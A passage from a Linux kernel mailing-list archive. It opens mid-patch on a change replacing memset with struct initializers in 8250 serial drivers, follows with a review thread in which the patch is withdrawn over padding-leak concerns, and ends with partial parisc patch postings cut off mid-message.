 	struct plat_serial8250_port *p = dev_get_platdata(&dev->dev);
-	struct uart_8250_port uart;
+	struct uart_8250_port uart = {};
 	int ret, i, irqflag = 0;
 
-	memset(&uart, 0, sizeof(uart));
-
 	if (share_irqs)
 		irqflag = IRQF_SHARED;
 
diff --git a/drivers/tty/serial/8250/8250_em.c b/drivers/tty/serial/8250/8250_em.c
index 0b63812..5deabaf 100644
--- a/drivers/tty/serial/8250/8250_em.c
+++ b/drivers/tty/serial/8250/8250_em.c
@@ -92,7 +92,7 @@ static int serial8250_em_probe(struct platform_device *pdev)
 	struct resource *regs = platform_get_resource(pdev, IORESOURCE_MEM, 0);
 	struct resource *irq = platform_get_resource(pdev, IORESOURCE_IRQ, 0);
 	struct serial8250_em_priv *priv;
-	struct uart_8250_port up;
+	struct uart_8250_port up = {};
 	int ret;
 
 	if (!regs || !irq) {
@@ -110,7 +110,6 @@ static int serial8250_em_probe(struct platform_device *pdev)
 		return PTR_ERR(priv->sclk);
 	}
 
-	memset(&up, 0, sizeof(up));
 	up.port.mapbase = regs->start;
 	up.port.irq = irq->start;
 	up.port.type = PORT_UNKNOWN;
diff --git a/drivers/tty/serial/8250/8250_gsc.c b/drivers/tty/serial/8250/8250_gsc.c
index b1e6ae9..5366e97 100644
--- a/drivers/tty/serial/8250/8250_gsc.c
+++ b/drivers/tty/serial/8250/8250_gsc.c
@@ -26,7 +26,7 @@
 
 static int __init serial_init_chip(struct parisc_device *dev)
 {
-	struct uart_8250_port uart;
+	struct uart_8250_port uart = {};
 	unsigned long address;
 	int err;
 
@@ -53,7 +53,6 @@ static int __init serial_init_chip(struct parisc_device *dev)
 	if (dev->id.sversion != 0x8d)
 		address += 0x800;
 
-	memset(&uart, 0, sizeof(uart));
 	uart.port.iotype	= UPIO_MEM;
 	/* 7.272727MHz on Lasi.  Assumed the same for Dino, Wax and Timi. */
 	uart.port.uartclk	= (dev->id.sversion != 0xad) ?
diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/8250/8250_hp300.c
index 38166db..6fd6414 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -90,9 +90,7 @@ extern int hp300_uart_scode;
 int __init hp300_setup_serial_console(void)
 {
 	int scode;
-	struct uart_port port;
-
-	memset(&port, 0, sizeof(port));
+	struct uart_port port = {};
 
 	if (hp300_uart_scode < 0 || hp300_uart_scode > DIO_SCMAX)
 		return 0;
@@ -156,7 +154,7 @@ int __init hp300_setup_serial_console(void)
 static int hpdca_init_one(struct dio_dev *d,
 				const struct dio_device_id *ent)
 {
-	struct uart_8250_port uart;
+	struct uart_8250_port uart = {};
 	int line;
 
 #ifdef CONFIG_SERIAL_8250_CONSOLE
@@ -165,7 +163,6 @@ static int hpdca_init_one(struct dio_dev *d,
 		return 0;
 	}
 #endif
-	memset(&uart, 0, sizeof(uart));
 
 	/* Memory mapped I/O */
 	uart.port.iotype = UPIO_MEM;
@@ -205,7 +202,7 @@ static int __init hp300_8250_init(void)
 #ifdef CONFIG_HPAPCI
 	int line;
 	unsigned long base;
-	struct uart_8250_port uart;
+	struct uart_8250_port uart = {};
 	struct hp300_port *port;
 	int i;
 #endif
@@ -243,8 +240,6 @@ static int __init hp300_8250_init(void)
 		if (!port)
 			return -ENOMEM;
 
-		memset(&uart, 0, sizeof(uart));
-
 		base = (FRODO_BASE + FRODO_APCI_OFFSET(i));
 
 		/* Memory mapped I/O */
diff --git a/drivers/tty/serial/8250/8250_lpc18xx.c b/drivers/tty/serial/8250/8250_lpc18xx.c
index 99cd478..e00115b 100644
--- a/drivers/tty/serial/8250/8250_lpc18xx.c
+++ b/drivers/tty/serial/8250/8250_lpc18xx.c
@@ -105,7 +105,7 @@ static void lpc18xx_uart_serial_out(struct uart_port *p, int offset, int value)
 static int lpc18xx_serial_probe(struct platform_device *pdev)
 {
 	struct lpc18xx_uart_data *data;
-	struct uart_8250_port uart;
+	struct uart_8250_port uart = {};
 	struct resource *res;
 	int irq, ret;
 
@@ -121,8 +121,6 @@ static int lpc18xx_serial_probe(struct platform_device *pdev)
 		return -EINVAL;
 	}
 
-	memset(&uart, 0, sizeof(uart));
-
 	uart.port.membase = devm_ioremap(&pdev->dev, res->start,
 					 resource_size(res));
 	if (!uart.port.membase)
diff --git a/drivers/tty/serial/8250/8250_lpss.c b/drivers/tty/serial/8250/8250_lpss.c
index 58cbb30..cba46dd 100644
--- a/drivers/tty/serial/8250/8250_lpss.c
+++ b/drivers/tty/serial/8250/8250_lpss.c
@@ -275,7 +275,7 @@ static int lpss8250_dma_setup(struct lpss8250 *lpss, struct uart_8250_port *port
 
 static int lpss8250_probe(struct pci_dev *pdev, const struct pci_device_id *id)
 {
-	struct uart_8250_port uart;
+	struct uart_8250_port uart = {};
 	struct lpss8250 *lpss;
 	int ret;
 
@@ -289,8 +289,6 @@ static int lpss8250_probe(struct pci_dev *pdev, const struct pci_device_id *id)
 
 	lpss->board = (struct lpss8250_board *)id->driver_data;
 
-	memset(&uart, 0, sizeof(struct uart_8250_port));
-
 	uart.port.dev = &pdev->dev;
 	uart.port.irq = pdev->irq;
 	uart.port.private_data = lpss;
diff --git a/drivers/tty/serial/8250/8250_mid.c b/drivers/tty/serial/8250/8250_mid.c
index ac013edf..8dd68c9 100644
--- a/drivers/tty/serial/8250/8250_mid.c
+++ b/drivers/tty/serial/8250/8250_mid.c
@@ -241,7 +241,7 @@ static int mid8250_dma_setup(struct mid8250 *mid, struct uart_8250_port *port)
 
 static int mid8250_probe(struct pci_dev *pdev, const struct pci_device_id *id)
 {
-	struct uart_8250_port uart;
+	struct uart_8250_port uart = {};
 	struct mid8250 *mid;
 	unsigned int bar;
 	int ret;
@@ -259,8 +259,6 @@ static int mid8250_probe(struct pci_dev *pdev, const struct pci_device_id *id)
 	mid->board = (struct mid8250_board *)id->driver_data;
 	bar = FL_GET_BASE(mid->board->flags);
 
-	memset(&uart, 0, sizeof(struct uart_8250_port));
-
 	uart.port.dev = &pdev->dev;
 	uart.port.irq = pdev->irq;
 	uart.port.private_data = mid;
diff --git a/drivers/tty/serial/8250/8250_moxa.c b/drivers/tty/serial/8250/8250_moxa.c
index 26eb539..fe5179b 100644
--- a/drivers/tty/serial/8250/8250_moxa.c
+++ b/drivers/tty/serial/8250/8250_moxa.c
@@ -49,7 +49,7 @@ static struct moxa8250_board moxa8250_boards[] = {
 
 static int moxa8250_probe(struct pci_dev *pdev, const struct pci_device_id *id)
 {
-	struct uart_8250_port uart;
+	struct uart_8250_port uart = {};
 	struct moxa8250_board *brd;
 	void __iomem *ioaddr;
 	resource_size_t baseaddr;
@@ -69,8 +69,6 @@ static int moxa8250_probe(struct pci_dev *pdev, const struct pci_device_id *id)
 	if (!brd)
 		return -ENOMEM;
 
-	memset(&uart, 0, sizeof(struct uart_8250_port));
-
 	uart.port.dev = &pdev->dev;
 	uart.port.irq = pdev->irq;
 	uart.port.uartclk = MOXA_BASE_BAUD * 16;
diff --git a/drivers/tty/serial/8250/8250_of.c b/drivers/tty/serial/8250/8250_of.c
index d25ab1c..1fae126 100644
--- a/drivers/tty/serial/8250/8250_of.c
+++ b/drivers/tty/serial/8250/8250_of.c
@@ -196,8 +196,8 @@ static int of_platform_serial_probe(struct platform_device *ofdev)
 	case PORT_8250 ... PORT_MAX_8250:
 	{
 		u32 tx_threshold;
-		struct uart_8250_port port8250;
-		memset(&port8250, 0, sizeof(port8250));
+		struct uart_8250_port port8250 = {};
+
 		port8250.port = port;
 
 		if (port.fifosize)
diff --git a/drivers/tty/serial/8250/8250_omap.c b/drivers/tty/serial/8250/8250_omap.c
index 61ad6c3..ac88bf9 100644
--- a/drivers/tty/serial/8250/8250_omap.c
+++ b/drivers/tty/serial/8250/8250_omap.c
@@ -1093,7 +1093,7 @@ static int omap8250_probe(struct platform_device *pdev)
 	struct resource *regs = platform_get_resource(pdev, IORESOURCE_MEM, 0);
 	struct resource *irq = platform_get_resource(pdev, IORESOURCE_IRQ, 0);
 	struct omap8250_priv *priv;
-	struct uart_8250_port up;
+	struct uart_8250_port up = {};
 	int ret;
 	void __iomem *membase;
 
@@ -1111,7 +1111,6 @@ static int omap8250_probe(struct platform_device *pdev)
 	if (!membase)
 		return -ENODEV;
 
-	memset(&up, 0, sizeof(up));
 	up.port.dev = &pdev->dev;
 	up.port.mapbase = regs->start;
 	up.port.membase = membase;
diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/8250/8250_pci.c
index aa0166b..5e45704 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -3834,7 +3834,7 @@ serial_pci_matches(const struct pciserial_board *board,
 struct serial_private *
 pciserial_init_ports(struct pci_dev *dev, const struct pciserial_board *board)
 {
-	struct uart_8250_port uart;
+	struct uart_8250_port uart = {};
 	struct serial_private *priv;
 	struct pci_serial_quirk *quirk;
 	int rc, nr_ports, i;
@@ -3874,7 +3874,6 @@ pciserial_init_ports(struct pci_dev *dev, const struct pciserial_board *board)
 	priv->dev = dev;
 	priv->quirk = quirk;
 
-	memset(&uart, 0, sizeof(uart));
 	uart.port.flags = UPF_SKIP_TEST | UPF_BOOT_AUTOCONF | UPF_SHARE_IRQ;
 	uart.port.uartclk = board->base_baud * 16;
 	uart.port.irq = get_pci_irq(dev, board);
diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/8250/8250_pnp.c
index 34f05ed..0891a6f 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -439,7 +439,7 @@ static int serial_pnp_guess_board(struct pnp_dev *dev)
 static int
 serial_pnp_probe(struct pnp_dev *dev, const struct pnp_device_id *dev_id)
 {
-	struct uart_8250_port uart, *port;
+	struct uart_8250_port uart = {}, *port;
 	int ret, line, flags = dev_id->driver_data;
 
 	if (flags & UNKNOWN_DEV) {
@@ -448,7 +448,6 @@ serial_pnp_probe(struct pnp_dev *dev, const struct pnp_device_id *dev_id)
 			return ret;
 	}
 
-	memset(&uart, 0, sizeof(uart));
 	if (pnp_irq_valid(dev, 0))
 		uart.port.irq = pnp_irq(dev, 0);
 	if ((flags & CIR_PORT) && pnp_port_valid(dev, 2)) {
diff --git a/drivers/tty/serial/8250/8250_uniphier.c b/drivers/tty/serial/8250/8250_uniphier.c
index 746680e..d7cfdfd 100644
--- a/drivers/tty/serial/8250/8250_uniphier.c
+++ b/drivers/tty/serial/8250/8250_uniphier.c
@@ -196,7 +196,7 @@ static int uniphier_of_serial_setup(struct device *dev, struct uart_port *port,
 static int uniphier_uart_probe(struct platform_device *pdev)
 {
 	struct device *dev = &pdev->dev;
-	struct uart_8250_port up;
+	struct uart_8250_port up = {};
 	struct uniphier8250_priv *priv;
 	struct resource *regs;
 	void __iomem *membase;
@@ -223,8 +223,6 @@ static int uniphier_uart_probe(struct platform_device *pdev)
 	if (!priv)
 		return -ENOMEM;
 
-	memset(&up, 0, sizeof(up));
-
 	ret = uniphier_of_serial_setup(dev, &up.port, priv);
 	if (ret < 0)
 		return ret;
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8250/serial_cs.c
index 933c268..348f897 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -342,10 +342,9 @@ static void serial_detach(struct pcmcia_device *link)
 static int setup_serial(struct pcmcia_device *handle, struct serial_info *info,
 			unsigned int iobase, int irq)
 {
-	struct uart_8250_port uart;
+	struct uart_8250_port uart = {};
 	int line;
 
-	memset(&uart, 0, sizeof(uart));
 	uart.port.iobase = iobase;
 	uart.port.irq = irq;
 	uart.port.flags = UPF_BOOT_AUTOCONF | UPF_SKIP_TEST | UPF_SHARE_IRQ;
-- 
2.7.4

From - Thu Nov 08 21:39:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH] serial: 8250: use initializer instead of memset to clear
 local struct
Date: Fri, 23 Dec 2016 08:20:26 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20161223072026.GA23895@kroah.com>
References: <1482463308-28968-1-git-send-email-yamada.masahiro@socionext.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1482477621 12739 195.159.176.226 (23 Dec 2016 07:20:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 23 Dec 2016 07:20:21 +0000 (UTC)
User-Agent: Mutt/1.7.2 (2016-11-26)
Cc: linux-serial@vger.kernel.org, linux-parisc@vger.kernel.org,
        Jiri Slaby <jslaby@suse.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-kernel@vger.kernel.org,
        Joachim Eastwood <manabian@gmail.com>,
        linux-arm-kernel@lists.infradead.org
To: Masahiro Yamada <yamada.masahiro@socionext.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 23 08:20:16 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cKK9G-0002RC-NO
	for glk-linux-kernel-3@m.gmane.org; Fri, 23 Dec 2016 08:20:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S938682AbcLWHUP (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 23 Dec 2016 02:20:15 -0500
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:35690 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932162AbcLWHUO (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 23 Dec 2016 02:20:14 -0500
Original-Received: from localhost (net77-43-61-194.mclink.it [77.43.61.194])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id 797A5958;
        Fri, 23 Dec 2016 07:20:12 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1482463308-28968-1-git-send-email-yamada.masahiro@socionext.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2375300 gmane.linux.serial:24625 gmane.linux.ports.parisc:27119 gmane.linux.ports.arm.kernel:546274
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2375300>

On Fri, Dec 23, 2016 at 12:21:48PM +0900, Masahiro Yamada wrote:
> Leave the way of zero-out to the compiler's decision; the compiler
> may know a more optimized way than calling memset().

But no, it doesn't, it will leave "blank" areas in the structure with
bad data in it, which is why we do memset.  See the tree-wide fixups we
made about a year ago for this very issue.  Are you sure none of these
structures get copied to userspace?

> It may end up with memset() for big structures like this after all,
> but the code will be cleaner at least.

Please leave it as-is, unless you see a measured speedup.

thanks,

greg k-h


From - Thu Nov 08 21:39:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Masahiro Yamada <yamada.masahiro@socionext.com>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH] serial: 8250: use initializer instead of memset to clear
 local struct
Date: Sat, 24 Dec 2016 15:47:19 +0900
Lines: 30
Approved: news@gmane.org
Message-ID: <CAK7LNARpDFDc9ntf3g03+Vz1gejzDVOpEkA1mRmA6sduNsDKWg@mail.gmail.com>
References: <1482463308-28968-1-git-send-email-yamada.masahiro@socionext.com> <20161223072026.GA23895@kroah.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1482562076 14990 195.159.176.226 (24 Dec 2016 06:47:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Dec 2016 06:47:56 +0000 (UTC)
Cc: linux-serial@vger.kernel.org, linux-parisc@vger.kernel.org,
        Jiri Slaby <jslaby@suse.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Joachim Eastwood <manabian@gmail.com>,
        linux-arm-kernel <linux-arm-kernel@lists.infradead.org>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Dec 24 07:47:50 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cKg7O-0002dX-Cv
	for glk-linux-kernel-3@m.gmane.org; Sat, 24 Dec 2016 07:47:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752962AbcLXGrp (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 24 Dec 2016 01:47:45 -0500
Original-Received: from conssluserg-06.nifty.com ([210.131.2.91]:28325 "EHLO
        conssluserg-06.nifty.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751690AbcLXGrn (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 24 Dec 2016 01:47:43 -0500
X-Greylist: delayed 98668 seconds by postgrey-1.27 at vger.kernel.org; Sat, 24 Dec 2016 01:47:42 EST
Original-Received: from mail-yb0-f177.google.com (mail-yb0-f177.google.com [209.85.213.177]) (authenticated)
        by conssluserg-06.nifty.com with ESMTP id uBO6lKWq020807;
        Sat, 24 Dec 2016 15:47:21 +0900
DKIM-Filter: OpenDKIM Filter v2.10.3 conssluserg-06.nifty.com uBO6lKWq020807
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=nifty.com;
        s=dec2015msa; t=1482562041;
        bh=woVujAxPH+JJISQxOBNEuDjpK8UUSbi8WgqZW+tPJvI=;
        h=In-Reply-To:References:From:Date:Subject:To:Cc:From;
        b=v91GvHNWIV7D2H69UQkZ8nZ9ytUW7YcNZrxXHE13Ao0xaUyxUT4BG9cmaV4eBIuxk
         MCMopiIo+dhsy/aMlwa4LA4/X2UKlTu+uRxJ7M+uGlQx3GL4OkEb44WzJ2nKo+5vr2
         RZlUulK0tNRF9SLHWpLkXyB0yfsHPQeAVDCLjkN80yaAP5FaOCu+sMXLQ9+wMQODCA
         lYft7GcDUL1wwvISViWIHUNn2K99qMR7d+47F4Bv7z42okJAh9LgCnQIQVnR6m6BQY
         Ejev3+owzrGX0flCOiAGsG1yC03RqteBrRhDP6rC4llLIysE5RyjcIPON4Ix3ypX3m
         +5sIs2Tb1KUrw==
X-Nifty-SrcIP: [209.85.213.177]
Original-Received: by mail-yb0-f177.google.com with SMTP id d59so93346325ybi.1;
        Fri, 23 Dec 2016 22:47:21 -0800 (PST)
X-Gm-Message-State: AIkVDXJC7MZQZJS1U83ugL0RkhEXcZOHduksDnX7Yh+nuSD+Inc956Vr9nQKIUzIMIbF/CpgEXaKLyA3Q+nTjg==
X-Received: by 10.37.68.131 with SMTP id r125mr12625411yba.7.1482562040320;
 Fri, 23 Dec 2016 22:47:20 -0800 (PST)
Original-Received: by 10.37.108.196 with HTTP; Fri, 23 Dec 2016 22:47:19 -0800 (PST)
In-Reply-To: <20161223072026.GA23895@kroah.com>
X-Gmail-Original-Message-ID: <CAK7LNARpDFDc9ntf3g03+Vz1gejzDVOpEkA1mRmA6sduNsDKWg@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2375585 gmane.linux.serial:24629 gmane.linux.ports.parisc:27120 gmane.linux.ports.arm.kernel:546346
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2375585>

Hi Greg,


2016-12-23 16:20 GMT+09:00 Greg Kroah-Hartman <gregkh@linuxfoundation.org>:
> On Fri, Dec 23, 2016 at 12:21:48PM +0900, Masahiro Yamada wrote:
>> Leave the way of zero-out to the compiler's decision; the compiler
>> may know a more optimized way than calling memset().
>
> But no, it doesn't, it will leave "blank" areas in the structure with
> bad data in it, which is why we do memset.  See the tree-wide fixups we
> made about a year ago for this very issue.  Are you sure none of these
> structures get copied to userspace?

I have to admit no security consideration was in my mind.

If we talk about the particular case of struct uart_8250_port,
this structure is allocated in the stack temporarily,
then serial8250_register_8250_port() copies its members to another
structure one by one.  So no "blank" area is exposed to the user-space,
I think.

Having said that, we have no good reason to take a risk for this.

So, please feel free to discard this patch.


-- 
Best Regards
Masahiro Yamada


From - Thu Nov 08 21:39:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Mark cr16 clocksource unstable on SMP systems
Date: Mon, 26 Dec 2016 12:46:01 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20161226114601.GA5893@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1482752780 22704 195.159.176.226 (26 Dec 2016 11:46:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 26 Dec 2016 11:46:20 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 26 12:46:16 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cLTjH-0004gJ-BO
	for glpp-linux-parisc@m.gmane.org; Mon, 26 Dec 2016 12:46:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753517AbcLZLqP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 26 Dec 2016 06:46:15 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:53277 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751252AbcLZLqO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 26 Dec 2016 06:46:14 -0500
Original-Received: from p100.box ([92.203.10.38]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MC4y8-1cCiHl2vx2-008r8y; Mon, 26
 Dec 2016 12:46:05 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:uOBC+mBQYwd4/5beQ7mrDZsxh464H7VSgTrnf95GRAwxqG8PzGf
 1WQqLwv+UmRa54yTVZtK5M7bDmZuYRE28lGAP4nha9iBuuEmYkcDKTxdA5LhT8bld1IBKR8
 55myH551AHEBF7oFhGMkYWM2Ew2mfPbfTAT/4lUVk246wstctS/pCtqtO4p0xIqoyZ4vYW8
 0YnlMVQxU6C4kdCE9SMDw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:UXLa3L9l7jY=:44Xe6mmBjk/LHFlxc+WHEU
 oshaVpeYJZlTA31HE6i75BgcI2DtoWzGpR7IZyupukpkPN4Ci9LhXd9lf2eLQDIrrpUfVpag3
 5s45vNClM+s+nhqmeU8ev+/QM1Oyv/QmoNXUxe8h5YDliBFp9NBF6qQCYqB8Z07riZUjy6PiF
 aZpWRGYr7dNtAhXAKRnR1Z3kQENgZsEU8nvm7oor/n3XE4KNY1nf0eiXx9DIQjsyDwQ+hu49y
 T51eXDzE6OymMsj+azgLJTac7FRlhlJ5ffzeSLqoYX+/Xr4XtNqnf2LMfPsj7Otw0V8tO/anx
 x5nxvhaKU0sfRBmilrtMsbQCK6m/5dUzC6TRZJk8Vpod4dyY8a+fjDiCdIPebFZmulCKAqGEu
 TFTU/pj4aACDj4HXYKfZnebQdw9tPKs94gzHpcj4nFRmaxzar/bFDWcFajkjd98/ZnJWolydf
 XirsXrdwLz1GSfnHvVDB085dDsULmriNK/ZNjikqKR7pGF1XTPHBQ4HvsnDEQXZV9KCkUYJJs
 ouxomPHQk4Z1MGEiVxfetS8MG7w4x38KTuSSVvx0UzJixiyuEHXkTode3ha/wUroVimex7Zvj
 aVbdrALqTL7WrlCBhkmi816XHqMS12Tr9KRxaAb/YMfdkY1YXF1hQF2HerjX5hjNdKv767loA
 DUMaQ4E9UlE9Kru9b5NlSY42JFPW+yt4zxBdr3smyeFfm1RnzVFFhTTXZ8FzEm9A7jyuaqSid
 XNCANdbBceGjNRufG71GoUGDyAmzgkJrCDMleXES29QpkfR2C78JzDlpFQA=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27121
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27121>

The cr16 interval timer of each CPU is not syncronized to other cr16
timers in other CPUs in a SMP system. So, delay the registration of the
cr16 clocksource until all CPUs have been detected and then mark it as
unstable and lower it's rating before registering it at the clockource
framework.

This patch fixes the stalled CPU warnings which we have seen since
introduction of the cr16 clocksource.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 325f30d..47ef8fd 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -289,9 +289,26 @@ void __init time_init(void)
 
 	cr16_hz = 100 * PAGE0->mem_10msec;  /* Hz */
 
-	/* register at clocksource framework */
-	clocksource_register_hz(&clocksource_cr16, cr16_hz);

From - Thu Nov 08 21:39:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Drop TIF_RESTORE_SIGMASK and switch to generic code
Date: Tue, 27 Dec 2016 18:03:50 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20161227170350.GA30701@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1482858262 1187 195.159.176.226 (27 Dec 2016 17:04:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 27 Dec 2016 17:04:22 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 27 18:04:18 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cLvAQ-0006Ut-PC
	for glpp-linux-parisc@m.gmane.org; Tue, 27 Dec 2016 18:04:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753450AbcL0REH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 27 Dec 2016 12:04:07 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:63477 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751136AbcL0REG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 27 Dec 2016 12:04:06 -0500
Original-Received: from p100.box ([92.203.10.38]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MB1C4-1cEFeY3VeG-009xSv; Tue, 27
 Dec 2016 18:03:54 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:ulfvq0RkaJWLs6Uuqgx4wCsfGFqClyUJCDAgBN0Oz9esk3/CAdU
 FJC3ZGWKFePYrw9yMEOe8o6mDrji+5XjyzPC94Ivbumxlxdw8dBA8Ywpog8w2ww8m/DlMPO
 IFxZ0qnAMR1EhL/IhaODftHsGqBjQotkzcIqo0NJsqcQTOHHiAyCKblwCaxZ0mdxFxJxNM0
 soeYdqHM6PiXX4yDv8ZTQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:TObIAyG2bqQ=:37f00aO2g9zuirwb4T99rW
 NcvFZTvc8LwzrBiSuCVzj3yIQqUo2fB0HHo3vr9+9XbeP39loKq+pfvt51MetzTXhQ8xvhFSi
